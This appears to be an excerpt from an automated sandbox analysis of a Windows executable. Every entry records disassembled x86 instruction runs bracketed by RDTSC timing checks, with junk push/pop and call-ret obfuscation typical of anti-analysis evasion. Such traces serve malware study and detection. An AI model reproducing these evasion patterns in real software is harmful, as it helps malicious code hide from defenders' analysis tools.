Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6789 second address: 6F67CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007FD3C4756156h 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007FD3C4756156h 0x00000015 popad 0x00000016 jmp 00007FD3C4756163h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD3C4756166h 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA100 second address: 6FA10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD3C524B206h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA10F second address: 581BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C475615Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 00299001h 0x00000011 mov dword ptr [ebp+122D19ADh], ecx 0x00000017 push dword ptr [ebp+122D13FDh] 0x0000001d add dword ptr [ebp+122D1C3Fh], eax 0x00000023 call dword ptr [ebp+122D1E69h] 0x00000029 pushad 0x0000002a cld 0x0000002b xor eax, eax 0x0000002d jns 00007FD3C4756164h 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 mov dword ptr [ebp+122D26FCh], edx 0x0000003d mov dword ptr [ebp+122D3824h], eax 0x00000043 mov dword ptr [ebp+122D26FCh], ecx 0x00000049 mov esi, 0000003Ch 0x0000004e jmp 00007FD3C475615Eh 0x00000053 pushad 0x00000054 movsx ebx, ax 0x00000057 mov edi, ecx 0x00000059 popad 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e add dword ptr [ebp+122D184Ah], eax 0x00000064 lodsw 0x00000066 clc 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D26FCh], edi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 pushad 0x00000076 mov ecx, 5CBB14DCh 0x0000007b xor dword ptr [ebp+122D184Ah], ecx 0x00000081 popad 0x00000082 nop 0x00000083 pushad 0x00000084 jmp 00007FD3C4756161h 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA157 second address: 6FA1B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C524B20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d jl 00007FD3C524B20Ch 0x00000013 mov dword ptr [ebp+122D2527h], ebx 0x00000019 and ax, 4651h 0x0000001e popad 0x0000001f push 00000000h 0x00000021 call 00007FD3C524B209h 0x00000026 jbe 00007FD3C524B20Ah 0x0000002c push edx 0x0000002d push edx 0x0000002e pop edx 0x0000002f pop edx 0x00000030 push eax 0x00000031 push ecx 0x00000032 jnl 00007FD3C524B208h 0x00000038 pop ecx 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FD3C524B20Fh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1B6 second address: 6FA1C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C475615Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1C6 second address: 6FA21E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C524B219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnc 00007FD3C524B21Ah 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD3C524B217h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA21E second address: 6FA22E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C475615Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA348 second address: 6FA38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FD3C524B208h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D28F7h], edi 0x00000029 mov cx, ax 0x0000002c push 00000000h 0x0000002e mov ecx, dword ptr [ebp+122D1C3Fh] 0x00000034 push 675CB780h 0x00000039 push edi 0x0000003a push eax 0x0000003b push edx 0x0000003c jns 00007FD3C524B206h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA436 second address: 6FA491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4756167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FD3C4756158h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov esi, edi 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D1986h], eax 0x00000032 mov di, A626h 0x00000036 popad 0x00000037 push 89E31619h 0x0000003c push esi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B0F2 second address: 70B0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B0F6 second address: 70B0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718814 second address: 718819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7189F1 second address: 7189FB instructions: 0x00000000 rdtsc 0x00000002 je 00007FD3C4756156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718FD3 second address: 718FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718FD9 second address: 718FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FD3C4756156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FD3C475615Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71941E second address: 71943E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD3C524B218h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71943E second address: 719442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719442 second address: 719464 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD3C524B206h 0x00000008 jmp 00007FD3C524B218h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719464 second address: 71946E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD3C4756156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71946E second address: 719497 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD3C524B206h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD3C524B214h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71960A second address: 719610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719610 second address: 719614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71977F second address: 719783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719783 second address: 71978B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719900 second address: 719906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719906 second address: 71990C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C03 second address: 719C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C07 second address: 719C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C0D second address: 719C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FD3C4756156h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719C1D second address: 719C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A23A second address: 71A251 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD3C4756156h 0x00000008 jmp 00007FD3C475615Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A251 second address: 71A25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD3C524B206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A25B second address: 71A25F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A519 second address: 71A53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 js 00007FD3C524B206h 0x0000000e jmp 00007FD3C524B212h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A53E second address: 71A550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C475615Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A550 second address: 71A55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726185 second address: 72618E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72618E second address: 726192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726192 second address: 72619C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD3C4756156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725CF7 second address: 725D1B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD3C524B21Fh 0x00000008 jmp 00007FD3C524B219h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72691D second address: 726921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726921 second address: 72692B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD3C524B206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72692B second address: 726956 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD3C4756168h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 je 00007FD3C4756156h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726956 second address: 72695B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72695B second address: 726971 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jne 00007FD3C4756156h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726971 second address: 726995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD3C524B20Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FD3C524B206h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726995 second address: 726999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726999 second address: 72699F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7278D1 second address: 7278E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD3C4756160h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727EE4 second address: 727EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727EE8 second address: 727F48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FD3C4756161h 0x0000000d nop 0x0000000e mov di, cx 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+1244ACD4h], edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FD3C4756158h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 jmp 00007FD3C4756162h 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AF72 second address: 72AFE9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD3C4C2635Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c jbe 00007FD3C4C2634Ch 0x00000012 pop ebx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FD3C4C26348h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1DC0h], eax 0x00000034 adc si, 3BD6h 0x00000039 push 00000000h 0x0000003b sub dword ptr [ebp+1244CEFFh], ebx 0x00000041 push 00000000h 0x00000043 mov dword ptr [ebp+122D1DC0h], edx 0x00000049 xchg eax, ebx 0x0000004a pushad 0x0000004b push eax 0x0000004c jl 00007FD3C4C26346h 0x00000052 pop eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B856 second address: 72B860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B860 second address: 72B88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C4C26358h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jg 00007FD3C4C26348h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C3C2 second address: 72C3C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C67D second address: 72C681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C681 second address: 72C6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FD3C4DD8D68h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dword ptr [ebp+1244CEE6h], edx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007FD3C4DD8D68h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 xor edi, 5E2D850Eh 0x0000004c cld 0x0000004d push 00000000h 0x0000004f mov esi, 21D8021Fh 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 jne 00007FD3C4DD8D77h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C6FF second address: 72C71B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD3C4C2634Ch 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FD3C4C26346h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E8D4 second address: 72E8EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FD3C4DD8D6Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E8EC second address: 72E923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 call 00007FD3C4C26350h 0x0000000d sub di, F27Ah 0x00000012 pop esi 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D268Dh] 0x0000001b push 00000000h 0x0000001d mov esi, 7B760C1Dh 0x00000022 xchg eax, ebx 0x00000023 push edi 0x00000024 jp 00007FD3C4C2634Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E923 second address: 72E92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F174 second address: 72F178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A66 second address: 733AE7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FD3C4DD8D6Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 jmp 00007FD3C4DD8D78h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FD3C4DD8D68h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 jbe 00007FD3C4DD8D6Ch 0x00000039 or edi, dword ptr [ebp+122D268Dh] 0x0000003f xchg eax, esi 0x00000040 jno 00007FD3C4DD8D80h 0x00000046 push eax 0x00000047 push edx 0x00000048 push ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735A6D second address: 735A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4C2634Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FD3C4C2634Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FD3C4C26346h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735A97 second address: 735AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+1244AC03h], edx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FD3C4DD8D68h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov dword ptr [ebp+12451400h], esi 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007FD3C4DD8D6Eh 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734D0F second address: 734DBB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD3C4C2634Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FD3C4C26348h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov ebx, 4502D0B1h 0x0000002c push dword ptr fs:[00000000h] 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007FD3C4C26348h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d add bx, BD01h 0x00000052 cmc 0x00000053 mov dword ptr fs:[00000000h], esp 0x0000005a pushad 0x0000005b mov ecx, dword ptr [ebp+122D2400h] 0x00000061 mov dword ptr [ebp+1244AC33h], edi 0x00000067 popad 0x00000068 mov eax, dword ptr [ebp+122D1005h] 0x0000006e mov edi, dword ptr [ebp+122D251Bh] 0x00000074 push FFFFFFFFh 0x00000076 mov dword ptr [ebp+1245D950h], ecx 0x0000007c cmc 0x0000007d nop 0x0000007e jmp 00007FD3C4C26351h 0x00000083 push eax 0x00000084 pushad 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735AE6 second address: 735AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735AEC second address: 735AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735AF0 second address: 735AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736A6E second address: 736AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FD3C4C26348h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 pushad 0x00000026 jng 00007FD3C4C2634Ch 0x0000002c mov dword ptr [ebp+122DB640h], ecx 0x00000032 add dword ptr [ebp+122D1C7Eh], edi 0x00000038 popad 0x00000039 push 00000000h 0x0000003b add bl, 00000012h 0x0000003e mov dword ptr [ebp+1244C7FBh], edi 0x00000044 push 00000000h 0x00000046 xor bh, FFFFFFA1h 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 